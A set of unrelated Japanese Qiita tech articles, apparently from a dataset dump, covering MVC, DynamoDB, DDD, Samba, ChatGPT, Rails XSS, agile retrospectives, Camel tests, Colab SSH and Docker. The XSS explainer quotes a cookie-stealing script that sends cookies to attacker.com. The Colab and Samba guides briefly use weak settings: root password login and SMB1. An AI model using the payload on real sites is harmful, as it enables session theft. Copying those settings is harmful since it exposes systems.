OmniAICreator/Qiita-1.07M huggingface dataset:
#0112（2025/04/20）Model-View-Controller（MVC）とは

# Model-View-Controller（MVC）とは何か？本質と実践を徹底解説

フレームワークや設計に慣れてくると、こんな疑問が浮かぶことがあります。

> 「MVCって、見た目とロジックを分けるだけなら、フロントとバックを分けてる今どきのアーキテクチャで十分じゃない？」

あるいは、

> 「型定義と処理を分けてるし、もうModelとController分離できてるんじゃないの？」

この記事では、そうした疑問を明確にしながら、MVCの本質と実践、そしてModelが担うべき“深い責任”まで丁寧に解説していきます。

---

## 🔰 MVCとは？

**MVC（Model–View–Controller）** とは、アプリケーションを次の 3 つの責任に分けて構成する設計パターンです：

| 層 | 主な役割 |
|---|---|
| **Model** | データ構造、ビジネスロジック、ドメインルール、永続処理 |
| **View** | UIや出力の定義。Modelの状態を表示に変換 |
| **Controller** | ユーザー操作を受け取り、ModelとViewを連携させる交通整理役 |

---

## ✅ MVCのメリット

- **変更が局所化できる**：見た目の変更でControllerやModelをいじらずに済む
- **テストしやすい**：ロジックとUIが分かれているため、単体テストが容易
- **再利用しやすい**：モデルロジックがViewに依存しないため、API化やCLI対応も楽
- **チーム開発しやすい**：責任分担が明確

---

## 💡 よくある誤解と疑問への回答

### Q1. 「見た目とロジックを分けるなら、フロントとバックを分ければいいのでは？」

これは**半分正解で、半分不十分**です。

- フロントとバックを分けるのは **アプリの外側の分離（ネットワーク越し）**
- MVCは **アプリ内部構造の分離（コードレベル）**

つまり、**フロントエンド/バックエンド分離とMVCは別の層の話**なんです。

---

### Q2. 「型定義と処理を分けたら、ModelとControllerを分けたことになる？」

答えは**No。型分離はMVCの一部にすぎません。**

MVCにおけるModelは、次の3つの責任を持ちます：

- ビジネスルール
- ドメインルール
- 永続処理（DB保存・取得など）

単なるデータ構造（例：`class User(BaseModel)`）や型定義だけでは**Modelの一部にしか過ぎない**のです。

---

## 🔍 Modelの本当の役割とは？

### 🔹 1. ビジネスルール（Business Rules）

業務全体における判断・条件・ルール。

```python
class Order:
    def shipping_fee(self):
        return 0 if self.total_amount >= 10000 else 500
```

### 🔹 2. ドメインルール（Domain Rules）

特定の業務領域での意味のある状態変化・制限など。

```python
class Task:
    def complete(self):
        if datetime.now() > self.deadline:
            raise ValueError("期限切れのタスクは完了できません")
        self.status = "完了"
```

### 🔹 3. 永続処理（Persistence）

データベースやファイルへの保存・読み出しなど。

```python
db.session.add(task)
db.session.commit()
```

---

## 🧪 具体例：Flask で作る簡易TODOアプリ

### model.py

```python
class Todo(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    title = db.Column(db.String(100), nullable=False)
    done = db.Column(db.Boolean, default=False)

    def toggle(self):
        self.done = not self.done
```

### controller.py

```python
@app.route("/toggle/<int:id>")
def toggle(id):
    todo = Todo.query.get(id)
    todo.toggle()
    db.session.commit()
    return redirect(url_for("index"))
```

### templates/index.html

```html
{% for t in todos %}
  <li>
    <form action="/toggle/{{ t.id }}" method="post">
      <button>{{ '✅' if t.done else '⬜️' }}</button>
    </form>
    {{ t.title }}
  </li>
{% endfor %}
```

---

## 🎯 MVCの本質

MVCとは単に「表示と処理を分ける」ことではなく、**アプリケーションを役割単位で分割する設計思想**です。

- **Model**：データと振る舞い（意味・ルール）をまとめる“知的な存在”
- **Controller**：入力→処理→出力の流れを司る“交通整理役”
- **View**：Modelの状態を画面に描くだけの“受け身な存在”

---

## ✅ 結論

| よくある誤解 | 正しい理解 |
|---|---|
| フロント/バックで分けてるからMVC不要 | MVCはアプリ内部の構造整理に必要 |
| 型定義を分ければModel | Modelにはロジックや保存処理も含む |
| Controllerはただの関数集 | Controllerは“使い方”の定義（ModelとViewの連携役） |

---

MVCをただの「古いパターン」と侮ることなかれ。  
設計の奥深さを知る一歩として、MVCの再確認はきっとあなたのコードに深みを与えてくれるはずです。
DynamoDB TransactionConflictExceptionのエラー対処

# エラー内容

```
TransactionConflictException: Transaction is ongoing for the item (DynamoDB)
```

ユーザーの操作が約10回に1回の頻度で失敗し、このDynamoDBのエラーが発生していました。

# 原因

公式ドキュメント（Botocore） で、以下のような説明がありました。

https://botocore.amazonaws.com/v1/documentation/api/latest/reference/services/dynamodb/client/exceptions/TransactionConflictException.html

>A transactional conflict can occur during concurrent item-level requests on an item within a transaction. Transaction conflicts can occur in the following scenarios:
（トランザクション競合は、トランザクション内の項目に対する項目レベルの同時リクエスト中に発生する場合があります。トランザクション競合は、次のシナリオで発生する場合があります。）

つまり「同じアイテムに対して、同時にトランザクション処理が実行されるとバッティングしてエラーが発生する」ということでした。


実際にフロントエンド側で以下のように Promise.all によって2つのトランザクションを同時に実行していました。


```js
await Promise.all([
  updateItemTransaction1({ 
    body: {
        itemId: itemId
    }
  }),
  updateItemTransaction2({
    body: {
        itemId: itemId
    }
  }),
])
```

このため、非同期で実行される2つの処理が、たまたま同じタイミングでDynamoDBの同じアイテムを更新しようとして、バッティングが発生していました。
そのため、毎回エラーになるわけではなく、発生頻度が低かったのはこのタイミングの問題です。

# 対応

以下のように、2つの処理を順番に実行するよう変更することで、トランザクションの競合を回避できました。

```js
await updateItemTransaction1({ 
    body: {
        itemId: itemId
    }
})
await updateItemTransaction2({
    body: {
        itemId: itemId
    }
}),
```

逐次実行にすることで、トランザクションが競合することなく安定して処理が完了するようになりました。

# 補足
リトライ処理を検討してもよいかもしれません。
TransactionConflictException は一時的なエラーのため、一定の間隔で再試行すれば成功することもあるようです。
現実にないドメインはどう設計する？──空想世界にDDDを適用するための思考法

「ドメイン駆動設計（DDD）は現実世界の業務にしか使えない」  
そんなふうに誤解している人はいないだろうか？  
たしかに、DDDは現場の業務フローやビジネスルールをソフトウェアに落とし込むための設計手法として広く知られている。しかし近年では、ゲーム開発、メタバース、SF世界観を扱うアプリケーションなど、“現実には存在しないドメイン”を扱うプロジェクトが増えている。

では、**現実に存在しないドメイン**をどうやって設計すればよいのか？  
この記事では、ファンタジーRPGの「魔法戦闘システム」を具体例に、DDDをどう適用していくかを詳しく解説する。


# 現実にない世界では「物語」がドメインの出発点になる

現実に存在しないドメインには、業務知識も制度も存在しない。  
だが、物語がある。

たとえば、以下のような設定があるとしよう：

- プレイヤーは魔法使い。戦闘時に「魔法」を詠唱し、敵にダメージを与える。
- 魔法には「属性（火・水・風・土）」「詠唱時間」「消費MP」がある。
- 敵には「属性耐性」や「状態異常耐性」が存在し、組み合わせに応じて効果が変化する。
- 詠唱中に敵の攻撃を受けると、詠唱がキャンセルされ、MPは半分しか戻らない。

このような“ゲームの中の物語”は、現実には存在しないが、**その世界における真実＝ドメインルール**である。  
DDDの目的は、**そのルールを正しくモデルとして設計し、変更や拡張に強い形で実装すること**だ。

## ステップ1：ユビキタス言語を物語から抽出する

まず行うべきは、登場する用語の意味を「定義」し、チーム全体で共通言語とすることだ。これは、ドメインが架空であっても変わらない。

例：  
- 「魔法」＝詠唱により発動し、敵や味方に効果を与える能力。属性・消費MP・詠唱時間を持つ。
- 「詠唱」＝魔法を発動するための前段階。一定時間が必要で、詠唱中に攻撃されるとキャンセルされる。
- 「属性相性」＝魔法の属性と敵の耐性によって、効果倍率が変動する。

このように**概念の意味を明確にし、用語を設計対象に落とし込む**ことが、ユビキタス言語の構築であり、DDDの土台となる。


## ステップ2：エンティティ・値オブジェクト・ドメインサービスで設計する

抽出したユビキタス言語をもとに、ドメインモデルを構築する。

### 🔹 エンティティ：状態と識別子を持つオブジェクト  
- `Mage（魔法使い）`: MPや習得魔法のリスト、詠唱中ステータスなどを保持  
- `Enemy（敵）`: 属性耐性や状態異常の情報を持つ

### 🔹 値オブジェクト：不変の属性値  
- `Magic`: 属性、消費MP、詠唱時間などを持つ不変オブジェクト  
- `Element`: 火・水・風・土などの属性  
- `CastingTime`: 詠唱にかかる時間（秒）

### 🔹 ドメインサービス：複数のオブジェクトにまたがるビジネスルール  
- `MagicCastingService`: 詠唱成功判定や詠唱キャンセル処理などを担当  
- `ElementalEffectCalculator`: 属性相性に応じたダメージ倍率の算出


## ステップ3：ストーリーからユースケースを定義する

ストーリーをベースに、具体的なユースケースを設計する。

#### ユースケース例①：「魔法を詠唱する」
```go
func (m *Mage) Cast(magic Magic, target Enemy) error {
    if !m.HasSufficientMP(magic) {
        return errors.New("MPが足りません")
    }

    result := magicCastingService.BeginCasting(magic, m)
    if result.Failed() {
        return errors.New("詠唱中にキャンセルされました")
    }

    damage := elementalEffectCalculator.Calculate(magic, target)
    target.ApplyDamage(damage)

    m.ConsumeMP(magic.Consumption())
    return nil
}
```

#### ユースケース例②：「詠唱がキャンセルされた場合のMP返還」
- 詠唱中に敵から攻撃を受けた
- 詠唱失敗処理をドメインサービスで行い、MPの半分を返還
- Mageエンティティが`RollbackMP()`を呼び出す


# 架空世界でも「整合性」と「再利用性」は保たれる

DDDは、あくまで**ドメイン知識を中心にソフトウェアを設計する手法**だ。  
現実にあるかないかは本質ではなく、**ルールがあり、一貫性のある振る舞いがあるかどうか**が重要である。

むしろ、現実の制約に縛られない架空世界だからこそ、DDDを使って構造を整える価値が大きい。複雑な条件分岐やルールも、モデルとして整理され、テスト可能なコードになる。開発チーム全体で「魔法とは何か」を共有できる構造は、拡張性・保守性に直結する。
Ubuntuでsambaサーバー立てるときはポート開放しよう

ローカルネットワークまたは VPN 経由で mac (OS Sequoia) から Ubuntu 20.04 ホストに SMB 接続したいときのトラブルシューティング経験談です。

---

## 環境

- **OS**: Ubuntu 20.04 LTS
- **クライアント**: macOS Sequoia
- **接続方法**: ローカルネットワークまたは VPN

---

## 手順とトラブルシューティング

1. ### Samba のインストール

   ```bash
   sudo apt update
   sudo apt install -y samba
   ```

2. ### 設定ファイルのバックアップと編集

   ```bash
   cd /etc/samba/
   sudo cp -a smb.conf smb.conf.backup
   sudo nano smb.conf
   ```

   以下を追記:

   ```ini
   [global]
       client min protocol = NT1
       server min protocol = NT1

   [ユーザー名]
       path = /home/ユーザー名/Data   # マウントしたいディレクトリ
       browsable = yes
       writable   = yes
       guest ok   = no
       read only  = no
   ```

3. ### Samba ユーザーの追加

   ```bash
   sudo smbpasswd -a [ユーザー名]
   # プロンプトに従いパスワードを設定
   ```

4. ### サービスの再起動

   ```bash
   sudo systemctl restart smbd
   ```

5. ### 接続確認（ローカルホスト）

   ```bash
   sudo apt install -y smbclient
   smbclient -L localhost -U%
   ```

   **出力**:

   ```text
   Sharename       Type      Comment
   ---------       ----      -------
   print$          Disk      Printer Drivers
   ユーザー名        Disk      
   IPC$            IPC       IPC Service (ホスト名 server (Samba, Ubuntu))

   Reconnecting with SMB1 for workgroup listing.

   Server         Comment
   ---------      -------
   Workgroup      Master
   ```

   ※ まだクライアントからは見えない...。

6. ### ファイアウォールの設定

   - Samba アプリケーションプロファイルを確認

     ```bash
     sudo ufw app list
     ```

   - 特定ネットワークからのポート 445（TCP）を許可

     ```bash
     sudo ufw allow from 192.168.XX.0/24 to any port 445 proto tcp
     sudo ufw reload
     ```

7. ### mac の Finder から接続

   - Finder メニューの「移動」→「サーバーに接続...」

   - サーバーアドレスに以下を入力

     ```text
     smb://<Ubuntu サーバーの IP アドレス>
     ```

   - ユーザー名・パスワードを入力して接続成功

---

## ここが効いたのか?

- **プロトコル設定**: `client min protocol` / `server min protocol` を `NT1` に。
- **ユーザー追加**: `smbpasswd -a` で Samba 用ユーザーを作成。
- **ファイアウォール**: UFW で TCP 445 ポートを許可。
- **接続確認**: `smbclient -L localhost -U%` で共有状況をチェック。

以上で、mac から Ubuntu 20.04 上の Samba 共有フォルダにアクセスできるようになりました。ufwで445ポートを指定して開放しないと接続できませんでした。Dockerコンテナがいっぱい立ち上がってるので再起動したくなかったのですが、再起動していれば手動でufwで445ポートを開放しなくても接続できたのでしょうか...?


## 参考文献

- [Ubuntu 20.04 で Samba を構築する手順 (murakami77)](https://qiita.com/murakami77/items/caf431b4fb5c4d67053d)
- [Qiita: Samba サーバー構築メモ (38pinn)](https://qiita.com/38pinn/items/1e9b13e595a6cca66d23)
- [Qiita: Samba server の設定例 (kondounagi)](https://qiita.com/kondounagi/items/2ff31791e64f3a9259ea)
- [Linux で Samba インストール (SNOW SYSTEM)](https://snowsystem.net/other/linux/samba-install/)
【ChatGPT＋o3系】思考モデルのo3、o4-mini、o4-mini-highの活用事例のご紹介です。


　どうも、カーブミラーです。

　今回は、思考モデルのo3、o4-mini、o4-mini-highの活用事例のご紹介です。

:::note info
本記事は、ChatGPTについての
記事です。　　　　あしからず。
:::
　ChatGPT等の動作状況を知らせる
　　OpenAIのステータスページ。
　　　[OpenAIステータス](https://status.openai.com/)
***
　こちらも載せますね。
　　[ChatGPTが使えない？ログインできない・反応しない原因やエラー時の対処法を解説](https://aismiley.co.jp/ai_news/chatgpt-error-resolution-explanation/)
***
　著作権法については
　　こちらを参照するのが
　　　良いのではないかと。

　文化庁レポートをもとにした
　　著作権法についての動画（約20分）
　　　[かいちのAI大学　【警告】ChatGPTの画像生成は危険です...【4o Image Generation】](https://youtu.be/8VLUnG-iyo0?si=rAfjMboqmNqppDGq)
***
　では、【本題】です。

　今回は、
　　思考モデルの
　　　o3、o4-mini、o4-mini-highの
　　　　活用事例のご紹介です。

　ちらほらと
　　o3の使用制限に達する
　　　悲鳴が聞こえてきました😅

　ChatGPTの使用制限は
　　以下のとおり。

　Plus、Team または Enterpriseは、
　　o3が、50 メッセージ/週
　　o4-miniが、150 メッセージ/日
　　o4-mini-highが、50 メッセージ/日

　Pro は、
　　o3、o1-pro、o4-mini、
　　　o4-mini-high、GPT-4o、GPT-4.5 
　　　　すべてのモデルが無制限

　[Tibor Blahoさんポスト](https://x.com/btibor91/status/1913246903640395915?t=A3I8n_lYt4C05QGJOG1XUA&s=19)
***

　X-Twitterにポストされた
　　使い道についてです。

　・痛みの相談→即病院へ
　　（臓器を失う危険性があった）
　・写真からその場所をほぼ特定
　・DeepResearch的なこと
　・画像解析
　・メモリ機能を使った
　　　自分の盲点の洗い出し
　・料理の画像→レシピや作り方
　・迷路抜け
　・手相占い
　・画質が悪くても、文字起こし
　・ビープ音で曲を奏でる
　・図書館で本を探す
　・複数画像のミックス
　・X-Twitter投稿をURL貼るだけで分析
　・X-Twitterアカウントを貼って分析
　・Prompt作成

　ほかにもあるのですが、
　　私が得られたのは
　　　このくらいです。

　中には、
　　GPT-4oでも
　　　可能なものも
　　　　ありました。

　本当ならば、
　　それぞれのポストの
　　　リンクを提示すべきかも
　　　　しれませんが、
　　　　　ご容赦ください。

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
【セキュリティ】XSS

# はじめに

こんにちは。アメリカに住みながら、独学でエンジニアを目指しているTairaです。
現在リーダブルコードを読んでいますが、そこで出てきたXSSについて知識の再整理をしたいと考え記事を書こうと思いました

## 1. XSS（クロスサイトスクリプティング）とは？

**XSS（Cross-Site Scripting）** は、悪意のあるスクリプトをWebページに埋め込み、ユーザーのブラウザでそのスクリプトを実行させる攻撃手法です。

### 想定される被害
- クッキー情報の窃取（セッションハイジャック）
- フィッシング（偽ログインページの表示）
- 意図しないユーザー操作の実行（クリックジャッキングなど）

## 2. 危険な例（Rails）

```erb
<p><%= params[:name] %></p>
```

このコードに以下のようなリクエストが送られると、エスケープされていない場合はスクリプトが実行されてしまいます：

```
http://example.com/?name=<script>alert('XSS!')</script>
```

### 具体例（コメント欄のXSS）
たとえば、ユーザーがコメント欄に以下のようなコードを投稿したとします：

```html
<script>document.location='http://attacker.com?cookie=' + document.cookie</script>
```

これがそのまま表示されると、ページを訪れた他のユーザーのブラウザでスクリプトが実行され、クッキーが盗まれる可能性があります。

## 3. Railsは自動でエスケープしてくれる？

### はい、Railsは基本的にERBにおいて自動でエスケープ処理を行います。

```erb
<p><%= @user.name %></p>
```

このコードは、内部的に以下のように変換され、HTMLとして無害に表示されます：

```erb
<p><%= h(@user.name) %></p>
```

### エスケープ例
| 文字 | エスケープ結果 |
|------|----------------|
| `<`  | `&lt;`         |
| `>`  | `&gt;`         |
| `&`  | `&amp;`        |
| `"`  | `&quot;`        |
| `'`  | `&#39;`        |

## 4. 注意が必要なケース（html_safeの使用）

```erb
<p><%= @comment.body.html_safe %></p>
```

`.html_safe` を使うと、エスケープ処理が無効になり、HTMLとしてそのまま描画されてしまいます。信頼できないユーザー入力に対して使うと、XSSの温床になります。

## 5. JavaScriptへの出力時の注意点

JavaScript内に変数として埋め込む場合、`j()`（`escape_javascript`）ヘルパーを使うと安全です。

```erb
<script>
  const userName = "<%= j @user.name %>";
</script>
```

また、**まだエスケープしていない文字列データをJavaScriptで扱うときには、変数名に `raw_` を付けるなどして注意を喚起する命名を行うことが望ましいです。**

```erb
<script>
  const raw_userName = "<%= @user.name %>"; // 非エスケープのまま
  const userName = "<%= j raw_userName %>";  // j() でエスケープしてから使用
</script>
```

このようにすることで、エスケープ処理を忘れず、安全性を意識したコーディングがしやすくなります。

## 6. RailsにおけるXSS対策まとめ

| 方法 | 内容 | 備考 |
|------|------|------|
| `<%= %>` | 自動でHTMLエスケープされる | 基本的に安全 |
| `raw`, `html_safe` | エスケープ無効化 | 原則使用注意 |
| `j()` | JavaScriptへの出力時に使用 | `escape_javascript` と同等 |
| `raw_` | 未エスケープデータの識別に有効な命名規則 | チーム開発での事故防止にも役立つ |

## 7. まとめ

- XSSは、ユーザーのブラウザでスクリプトを実行させる攻撃
- Railsは基本的にERBの出力を自動でエスケープしてくれるため安全
- ただし `html_safe` や `raw` の使用は慎重に！
- JavaScript内に出力する際には `j()` ヘルパーを使用する
- 未エスケープデータには `raw_` などのプレフィックスを使うことで安全性を高められる
【プラクティス紹介】1分でさらっと分かる「オーバーオール・レトロスペクティブ」

![overall_retro.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3526800/d7fba054-66e0-459b-82db-53592c9b9fce.jpeg)

## プラクティス名（別名）
オーバーオール・レトロスペクティブ　（Scaled Retrospective）

## プラクティスの目的・狙い
* 大規模アジャイル（複数チームでの開発）において、チームをまたぐ課題や組織構造/制度に関わる問題解決を図る

## どんな時に使うか
* チーム単独では解決できない課題を解消したい
* 他チームにも共通する全体的な課題を解消したい
* チーム間の関係性を改善したい

## 実施手順
【実施タイミング】各チームのスプリントレトロスペクティブ実施後
【参加者】PO、SM、各チームの代表者、マネージャー（必要に応じて）

1. システム全体を様々な角度から議論し、分析する（全体課題の抽出）
1. 次スプリントで実施する課題解消のための実験案を検討する（改善策の決定）
1. 次回レトロで実験の結果をふりかえり、学習して適応する（継続的改善）

:::note warn
LeSS解説本ではオーバーオールレトロはチームレトロ後に続けて行うと集中力が続かないため、別日に行うことが推奨されています。また改善策をタイムリーに取り込むためには次回プランニング前に済ませておくことが望ましいとされています。
:::

:::note info
参加者の「各チームの代表者」が誰であるべきかは特に決まりはありません。が、POやSMはもともと参加者になっているため、必然的にDEVの誰か、ということになりそうです。(各チームごとに専属のPOやSMがいる場合はその人が代表者を兼ねる、というケースはあるかもしれませんが）
:::

## アレンジ例
* チーム代表者をローテーション制にする

## アンチパターン
* 各チームの課題報告に終始してしまい、組織構造といった大枠の問題に目がいかなくなる
* 遅延原因追及の場と化し、心理的安全性が損なわれた結果、何も課題が挙がらなくなる
* チーム全員がオーバーオールレトロに出席する（→参加人数が多くなりすぎて儀式化する）

## 参考情報
参考書籍

https://www.maruzen-publishing.co.jp/book/b10112298.html

LeSS公式WEBサイト

https://less.works/jp/less/rules

チーム代表者をローテーションする場合はTKKRTKYさんの実践レポが参考になりそうです。
（素晴らしい記事をありがとうございます！）

https://qiita.com/TKKRTKY/items/2c291bb9ad3211b704ad

## こぼれ話（私的コメント）
Nexus（スクラム考案者の一人、Ken Schwaberさんが提唱する大規模アジャイルのフレームワーク）のプラクティスにも「Nexusレトロスペクティブ」という似たものがあります。こちらも目的としては各チームが抱える課題とチーム横断的な全体課題の統合/適応を図ることです。「Nexusレトロスペクティブ」ではレトロを３パートに分け、
（１）チーム代表者が集まって全体課題を特定
（２）各チームごとに分かれてレトロを実施
（３）再びチーム代表者が集まって全体課題を協議
という流れとなります。「オーバーオールレトロスペクティブ」との違いは（１）があるか無いか、という点です。（１）があることでいち早く全体課題を各チームに周知できるものの、ややトップダウン的な色合いが強まるのと、ステップが増えることでフローが重くなるというデメリットがありそうです。
個人的には（１）が無いオーバーオールレトロの方がシンプルで好きです。スクラムはボトムアップの方が良い気がするので。

---
　[アジャイルプラクティス一覧へ戻る](https://qiita.com/kakashi_h5/items/20584998c5ca4594b9ea)
Apache Camel × Spring Boot のJUnit5テスト方法(基本編)

![F92ABF77-7EB6-4620-963D-9B414DE0E367.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4063686/2b7ecbc8-90c9-4acf-acee-faeea3731588.png)

Camel ルートを開発したあと、**想定通りに動作しているかを確認するためにテストを書きたい**と思うことは多いはずです。

この記事では、**Apache Camel（XML DSL）**を前提に、**JUnit 5 を使って Camel のルートをテストする方法**を紹介します。

---

## 対象とするルート構成

以下のような簡単な Camel ルートを想定します：

- `direct:start` でメッセージを受け取る  
- Java の `Processor` を経由してメッセージ本文を変換  
- `mock:result` に出力

---

## 1. ルート定義（camel-context.xml）

```xml
<routes xmlns="http://camel.apache.org/schema/spring">
  <route id="sampleRoute">
    <from uri="direct:start"/>
    <to uri="bean:myProcessor"/>
    <to uri="mock:result"/>
  </route>
</routes>
```

---

## 2. Processor クラス

```java
@Component("myProcessor")
public class MyProcessor implements Processor {
  @Override
  public void process(Exchange exchange) {
    String body = exchange.getMessage().getBody(String.class);
    exchange.getMessage().setBody(body.toUpperCase());
  }
}
```

---

## 3. テストクラス（JUnit 5）

```java
@CamelSpringBootTest
@SpringBootTest
@TestPropertySource("classpath:application-test.properties")
public class SampleRouteTest {

  @Autowired
  private ProducerTemplate producerTemplate;

  @EndpointInject("mock:result")
  private MockEndpoint mockResult;

  @BeforeEach
  void setup() {
    mockResult.reset();
  }

  @Test
  void testRouteProcessesMessage() throws Exception {
    mockResult.expectedMessageCount(1);
    mockResult.expectedBodiesReceived("HELLO");

    producerTemplate.sendBody("direct:start", "hello");

    mockResult.assertIsSatisfied();

    String actual = mockResult.getExchanges().get(0).getMessage().getBody(String.class);
    Assertions.assertEquals("HELLO", actual);
  }
}
```

---

## 4. pom.xml に必要な依存関係

```xml
<dependency>
  <groupId>org.apache.camel.springboot</groupId>
  <artifactId>camel-test-spring-junit5</artifactId>
  <scope>test</scope>
</dependency>

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-test</artifactId>
  <scope>test</scope>
</dependency>
```

---

## 解説ポイント

| 項目                 | 内容                                               |
|----------------------|----------------------------------------------------|
| `@CamelSpringBootTest` | CamelContext を含めたテスト環境を起動             |
| `ProducerTemplate`    | Camel ルートへメッセージ送信するためのAPI         |
| `MockEndpoint`        | 受信メッセージの件数・内容を検証                   |
| `getMessage()`        | Camel 4 の標準的な API                            |

---

## テストの流れまとめ

1. `direct:start` に `"hello"` を送信  
2. `myProcessor` で `"HELLO"` に変換  
3. `mock:result` で受信し、**内容が `"HELLO"` であることを検証**

---

## まとめ

- Apache Camel（XML DSL）でも、`@CamelSpringBootTest` を使えば簡単にルートのテストが可能です。
- `mock:` エンドポイントを使えば、Camel のルートの挙動を柔軟にテストできます。
- テストごとに `mock.reset()` を入れておくと状態の影響を防げます。

---

## mockの本番利用には注意！

なお、Camel の `mock:` は **受信したメッセージ（Exchange）をメモリ上に保持し続ける**ため、  
**負荷テストや本番環境で使用するとヒープメモリを圧迫し、OOM（OutOfMemoryError）の原因**になることがあります。

詳しくは以下の記事を参照してください：

> [Apache Camelの mock がメモリを食いつぶす！？本番で使ってはいけない理由](https://qiita.com/kamel/items/a509a11b16b7828ce647)
pg_ctlコマンドを使えるようにする

## 環境
- Ubuntu2 0.4
- PostgreSql 12

## はじめに

PostgreSQLにはpg_ctlというサービスの起動、停止ができるツールが用意されています。サービスの起動、停止を行うには、pg_ctlを使わなくても、OSに標準で入っているsystemctlを使うこともできます。どちらも使っても同じですので、好きな方を使えばいいのですが、systemctlの方が使いやすいとは思います。pg_ctlを使う場合は、初期設定のままでは使えないため、少し環境の設定が必要です。

## やったこと

PostgreSQLがインストールされていれば、pg_ctlも一緒にインストールされています。しかし、pg_ctlコマンドを実行すると、コマンドが存在しませんというエラーが表示されます。

```
$pg_ctl
```

原因は、pg_ctlのパスが通っていないためです。パスを調べて、.profileにパスを追加するコマンドを記述する必要があります。まずは、パスを調べます。

```
$sudo find / -name pg_ctl
/usr/lib/postgresql/12
```

profileをエディタで開いてパスを追加して更新します。

```.profile
export PATH="/usr/lib/postgresql/12/bin:$PATH"
```

profileを実行して更新した設定を有効化します。

```
$source .profile
```

これでpg_ctlが使えるようになりました。
ColabハックでGPUサーバーをVPSとして使おう

MACユーザーーなのでColabでJupyterNoteBookを使っていますが
コードが長くなってくると、クラスにまとめたりライブラリを分割するリファクタリングをしたくなる事が多いです！
VSCodeを使ってコーディングするまでの手順を説明します

## 0. ssh-keyを作成
サーバー認証用のssh-keyを作成します

```
ssh-keygen -t rsa -b 4096 -m PEM -C "your_email@example.com"
```

## 1. ngrokでTokenを取得
[NGROK](https://dashboard.ngrok.com/
)はローカルPCやサーバー上で動くサービスを、外部から一時的に安全にアクセスできるようにするトンネリングサービスです。
![ngcog.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89997/9a5cba72-0fbf-43be-b9bb-44d586a2f3f9.png)

## 2. ColabのJupyterでVPSを起動

### 2.1 SSHとNgrokのセットアップ
```python
!apt-get install -qq -o=Dpkg::Use-Pty=0 openssh-server
!pip install -q pyngrok
```

### 2.2 SSHサーバーインストール
openssh-server と 部トンネル用のpyngrok をインストールします
```python
!mkdir -p /var/run/sshd
!echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config
!echo 'PasswordAuthentication yes' >> /etc/ssh/sshd_config
!echo 'root:password' | chpasswd
```

### 2.3. 公開鍵をrootユーザーのauthorized_keysに設定
0で作成したローカルのid_rsa.pubの中身をサーバー側に保存します
 
```python
!mkdir -p /root/.ssh
public_key = "*******"
with open("/root/.ssh/authorized_keys", "w") as f:
    f.write(public_key)
```

### 2.4. Ngrokでトンネリング
```python
from pyngrok import conf, ngrok
conf.get_default().auth_token = ""*******""  # Ngrokのダッシュボードから取得
ssh_tunnel = ngrok.connect(22, "tcp")
print(ssh_tunnel)
```

### 2.5. リスタート
SSHサーバー設定の変更

```python
!sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config
!sed -i 's/^#\?ChallengeResponseAuthentication.*/ChallengeResponseAuthentication no/' /etc/ssh/sshd_config
!sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
!service ssh restart
```

`NgrokTunnel: "tcp://hoge.tcp.ngrok.io:fuga" -> "localhost:22"`
のようなメッセージが出力されるので、ssh-configに宛先をコピーして利用します。
起動する度に変わるので注意が必要です。

## 3. ローカルのMACのssh-configの設定
```sh
Host colab-ssh
  HostName hoge.tcp.ngrok.io
  Port fuga
  User root
  IdentityFile *** # 1で作成したファイル
```

## 4. コマンドラインで接続
```
ssh colab-ssh
```

![Screenshot_2025-04-19_at_8_40_07.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89997/6c33d086-641f-4832-893a-a17f678b0c86.png)

無事に接続できました。

## 5. VSCodeからの利用
VsCodeの[RemoteSSHプラグイン](https://code.visualstudio.com/docs/remote/ssh)をダウンロードしてインストールします

![Screenshot 2025-04-20 at 11.01.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/89997/cd883ace-bbcc-474c-b701-6352ca56e33e.png)


## 6.終了
Colabのウィンドウを閉じるだけでは、ngrokは継続中になります
90分間操作がない場合にセッションタイムアウトしインスタンスは自動終了します
その場合に、GoogleDriveはアンマウントされるので再起動する必要があります
永続化したいデータは、GoogleDriveに保存するようにしましょう！
Windows環境におけるDocker×Alembicの罠：ホスト名解決問題とその解決法

# はじめに
最近、Windowsで動かしているDockerコンテナ内のPostgreSQLデータベースに対してAlembicマイグレーションを実行しようとしたところ、予想外の問題に遭遇しました。この記事では、その問題の原因と解決策をメモします

## 問題の概要
PostgreSQLデータベースをDockerコンテナで実行し、Alembicを使ってマイグレーションを適用しようとしたところ、以下のようなエラーが発生しました
```
sqlalchemy.exc.OperationalError: (psycopg.OperationalError) [Errno 11001] getaddrinfo failed
```

このエラーの根本原因は、名前空間の衝突でした。
Docker Composeで定義したサービス名（この場合は「db」）は、Dockerネットワーク内部では有効なホスト名ですが、ホストマシン（Windows）からは解決できません。
wsl環境なら、ここでalembic.iniの接続先をlocalhostからdbへ向ければマイグレーションを実行すれば適用できるはずでした。

### 症状の詳細
1.docker-compose.ymlでデータベースサービスを「db」として定義
2.alembic.iniで接続先をpostgresql+psycopg://postgres:admin@db:5432/mydbと設定
ホストマシンからalembic upgrade headを実行
3.「getaddrinfo failed」エラーでマイグレーションが失敗

## 解決策
結論から言えば、Dockerコンテナ内からマイグレーションを実行することで適用できました。
`docker-compose exec backend bash -c "cd /app && alembic upgrade head"`
このコマンドで、バックエンドコンテナ内でマイグレーションを実行したところうまくいきました。コンテナは同じDockerネットワーク内にあるため、「db」というホスト名を正しく解決できます。
おそらく、名前空間の衝突はlocalhost上に構築された同名のDBが存在していことが原因だったと思います。

## 教訓
環境の違いを意識する：Docker内とホストマシンでは名前解決の仕組みが異なる
単一の構成設定のリスク：複数の環境で動作させるためには、環境ごとの設定が必要
Windows環境でDockerを使った開発をするな：wslなら自動でマッピングされたコンテナ内を向いてくれる
マウス右クリックから"Sakuraで開く"を表示させる設定

目的：マウス右クリックからSakuraで開くを表示させたい。

以前までは設定を気にせず表示されていたが、気づいたら消えていた。再表示させた際の流れを備忘録として記載。


